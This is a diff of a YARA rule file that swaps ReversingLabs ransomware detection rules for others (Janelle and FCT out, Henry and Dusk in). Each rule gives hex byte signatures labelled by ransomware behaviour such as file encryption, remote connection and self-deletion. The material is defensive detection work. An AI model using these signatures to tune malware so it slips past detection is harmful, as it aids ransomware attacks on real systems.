+		$encrypt_files_p4 = {
+            C8 C1 E9 ?? F3 A5 8B C8 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 E1 ?? 6A ?? 50 F3 A4
+            E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ??
+            43 83 C4 ?? 83 FB ?? 0F 8C ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BF ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 57 68 ?? ?? ?? ??
+            56 FF D3 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? 56 68 ?? ?? ?? ??
+            6A ?? 6A ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 44 8C ?? 41 89 4C 24 ?? 47 83 C6
+            ?? 83 FF ?? 7E ?? 8B 54 24 ?? 6A ?? 6A ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 8D 44
+            24 ?? 50 8D 4C 24 ?? 51 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? FF 15
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($search_processes and ( all of ($search_files_in_specific_folders_p*)) and $encrypt_files and $remote_connection)
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Janelle : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Henry : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Janelle ransomware."
+		description = "Yara rule that detects Henry ransomware."
 		author = "ReversingLabs"
-		id = "4fef3be5-8332-5ce2-b1e9-3993e6963331"
-		date = "2021-12-16"
-		modified = "2021-12-16"
+		id = "63627f2b-3205-5790-ba97-8e0d1da39d7c"
+		date = "2021-06-14"
+		modified = "2021-06-14"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Janelle.yara#L1-L96"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "49f1eac82930606183ab9cf1d5c6c42534d58735876134793e9712e78eb5a4c7"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Henry.yara#L1-L80"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "e6ab2a8a344d40407118e29ff78f5a0144f42a0fbdee19a80b341b59f056d292"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -32535,88 +34136,69 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Janelle : TC_DETECTION MALICIOUS MAL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Janelle"
+		tc_detection_name = "Henry"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$setup_env_p1 = {
-            00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 0A 06 02 7D ?? ??
-            ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 08 6F
-            ?? ?? ?? ?? 74 ?? ?? ?? ?? 0D 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 00 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 75 ?? ?? ?? ?? 13 ??
-            11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 02 7B ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 00 16 28 ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2C ?? 00 16
-            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 28 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 02 16 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 02 16 FE 01 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ??
-            12 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 00 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 02
-        }
-		$setup_env_p2 = {
-            7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2B ?? 00 16 28 ?? ?? ?? ?? 72 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 16
-            28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 16 28
-            ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 02 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 00 06 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 16 28 ?? ?? ?? ??
-            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13
-            ?? 11 ?? 2C ?? 00 02 17 7D ?? ?? ?? ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ??
-            ?? 25 17 6F ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 00 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 02
-            7B ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 00 00 2A
-        }
 		$find_files = {
-            73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 06 04 7D ?? ?? ?? ?? 06 05 7D ?? ?? ?? ?? 00 00
-            03 28 ?? ?? ?? ?? 0B 00 07 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 02 11 ?? 06 7B ?? ?? ?? ??
-            28 ?? ?? ?? ?? 00 00 09 17 58 0D 09 08 8E 69 32 ?? 06 7B ?? ?? ?? ?? 13 ?? 11 ?? 2C ??
-            00 00 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 06 7D ?? ??
-            ?? ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 00 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73
-            ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ??
-            8E 69 32 ?? 00 DE ?? 13 ?? 00 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE
-            ?? 00 00 DE ?? 26 00 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? 2A
+            02 6F ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 08 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? DE ?? 26 DE ?? 07 17 58 0B 07 06 8E 69 32 ?? 02 6F ?? ?? ?? ?? 0D 16 0B 38 ?? ??
+            ?? ?? 09 07 9A 13 ?? 11 ?? 6F ?? ?? ?? ?? 19 17 73 ?? ?? ?? ?? 25 6F ?? ?? ?? ?? D4 8D
+            ?? ?? ?? ?? 13 ?? 25 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 26 6F ?? ?? ?? ?? 11 ?? 6F ??
+            ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 18 18 73 ?? ?? ?? ?? 25 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 07 17 58 0B 07 09 8E 69 3F ?? ??
+            ?? ?? 2A
         }
 		$encrypt_files = {
-            00 28 ?? ?? ?? ?? 0A 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ?? ?? ?? ?? 0B 28 ?? ?? ??
-            ?? 04 6F ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 00 09 18 6F ?? ?? ?? ?? 00 08 06 20 ?? ?? ?? ?? 73 ?? ?? ?? ??
-            13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F
-            ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 1A 6F ?? ?? ?? ?? 00 07 06 16 06
-            8E 69 6F ?? ?? ?? ?? 00 07 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 03 19 73 ?? ?? ??
-            ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 00 2B ?? 00 28 ?? ?? ?? ?? 00 11 ?? 11 ??
-            16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 FE
-            02 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13 ?? 00 72 ?? ?? ?? ?? 11 ?? 6F
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? DE ?? 00 11 ?? 6F ?? ?? ?? ?? 00
-            07 6F ?? ?? ?? ?? 00 00 DC 2A
+            02 8E 2D ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 03 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73
+            ?? ?? ?? ?? 7A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 28 ??
+            ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 03 08 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 1F ?? 6F ?? ?? ??
+            ?? 07 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 73 ?? ?? ?? ?? 25 02 16 02 8E 69 6F ?? ?? ??
+            ?? 25 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0A 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ??
+            25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 FE ?? 09 6F ?? ?? ?? ?? DC 06 2A
+        }
+		$setup_environment = {
+            02 28 ?? ?? ?? ?? 1B 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 73
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28
+            ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 02 28 ?? ?? ?? ?? 2A
+        }
+		$init_components = {
+            02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02
+            7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 22 ?? ?? ?? ?? 16 19
+            20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 1F ?? 73
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ??
+            ?? ?? 20 ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 16 6F ?? ??
+            ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 6F ?? ?? ??
+            ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 22 ?? ?? ?? ?? 16 19 20 ?? ?? ?? ?? 73 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02
+            7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ??
+            ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 02 7B ?? ?? ??
+            ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 22 ?? ?? ?? ?? 22 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 02 17 28 ?? ?? ?? ?? 02 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 02 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02 7B ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            02 02 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 16 28 ?? ?? ?? ?? 02 28 ?? ??
+            ?? ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($setup_env_p*)) and ($find_files) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($setup_environment) and ($init_components)
 }
-rule REVERSINGLABS_Win32_Ransomware_FCT : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Dusk : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects FCT ransomware."
+		description = "Yara rule that detects Dusk ransomware."
 		author = "ReversingLabs"
-		id = "ea3d5514-d6f2-5fd0-9247-a3f6b920d8d9"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "cde30f40-f13c-53da-8656-cc293433aa36"
+		date = "2021-08-12"
+		modified = "2021-08-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.FCT.yara#L1-L86"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "b158ad56c92a926f7398a27b3576c259e39c9716ef192fa5944ce3cffdc6d7d0"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Dusk.yara#L1-L73"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "b6b0b3be7c17115dc5f225a13228f8a4811d84ae095c3ceba2d89f569f2d40c7"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -32624,81 +34206,65 @@ rule REVERSINGLABS_Win32_Ransomware_FCT : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "FCT"
+		tc_detection_name = "Dusk"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ??
-            ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 89
-            85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 51 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 33 DB 8B 55 ?? 33 C9 8B 75
-            ?? 89 9D ?? ?? ?? ?? 85 D2 74 ?? 66 90 83 7D ?? ?? 8D 45 ?? 0F 43 C6 0F BE 04 08 41
-            03 D8 3B CA 72 ?? 89 9D ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ??
-            ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B CF C7 45 ?? ?? ?? ?? ?? 33 C0
-            C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1
-            F9 51 57 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 75 ?? 8B C6 8B 55 ?? 2B C2 83 F8 ??
-            72 ?? 83 FE ?? 8D 45 ?? 8D 4A ?? BB ?? ?? ?? ?? 0F 43 45 ?? 89 4D ?? 66 89 1C 50 33
-            D2 66 89 14 48 EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ??
-            ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51
+		$encrypt_files_p1 = {
+            03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F ?? ?? ?? ??
+            0A 06 28 ?? ?? ?? ?? 0B 03 07 28 ?? ?? ?? ?? 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? DE ?? 26 DE ?? 2A
         }
-		$find_files_p2 = {
-            52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55
-            ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ??
-            0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 53 FF 15 ?? ??
-            ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 55 ?? 8D 48 ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 52
-            ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83
-            FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83
-            C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D
-            ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 E8
+		$encrypt_files_p2 = {
+            14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 73 ?? ??
+            ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ??
+            ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ??
+            ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11
+            ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ??
+            09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 06 2A
         }
-		$encrypt_files_p1 = {
-            66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 57 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ??
-            ?? 8B 75 ?? 8B C6 8B 55 ?? 2B C2 83 F8 ?? 72 ?? 83 FE ?? 8D 45 ?? 8D 4A ?? BB ?? ??
-            ?? ?? 0F 43 45 ?? 89 4D ?? 66 89 1C 50 33 D2 66 89 14 48 EB ?? 6A ?? 68 ?? ?? ?? ??
-            C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 8B 5D ?? 2B CA 8B 55 ?? 8B C3 D1 F9 2B
-            C2 3B C8 77 ?? 83 FB ?? 8D 04 09 50 8D 75 ?? 0F 43 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 3C
-            0A 89 7D ?? 8D 04 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 8D 85 ??
-            ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 81 BD
-            ?? ?? ?? ?? ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68
-            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F
-            84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F2 85 F6 74
+		$dusk_delete_itself = {
+            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 1A 8D ?? ?? ?? ?? 25 16
+            72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 0B 06 07 28 ?? ?? ??
+            ?? 06 06 28 ?? ?? ?? ?? 18 60 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 73 ?? ??
+            ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 04 28 ?? ?? ?? ?? 28
+            ?? ?? ?? ?? DE ?? 26 DE ?? 2A
         }
-		$encrypt_files_p2 = {
-            6A ?? 8D 45 ?? 50 A1 ?? ?? ?? ?? 2B C6 56 03 C1 50 57 FF 15 ?? ?? ?? ?? 2B 75 ?? 74
-            ?? 8B 8D ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 33 C0 8B 9D ?? ?? ?? ??
-            BA ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 CB ?? 8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            89 95 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8D 48 ?? 3B CA 76 ?? C6 85 ?? ?? ?? ?? ?? FF B5
-            ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 95 ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 0F 43 4D ?? 3B C2 77 ?? 8D 34 00 89 85 ??
-            ?? ?? ?? 83 FA ?? 8D BD ?? ?? ?? ?? 56 0F 43 BD ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83
-            C4 ?? 33 C0 66 89 04 37 EB ?? 50 51 C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 83 F8 ??
-            72 ?? 83 FA ?? 8D B5 ?? ?? ?? ?? 6A ?? 0F 43 B5 ?? ?? ?? ?? 8D 79 ?? 68 ?? ?? ?? ??
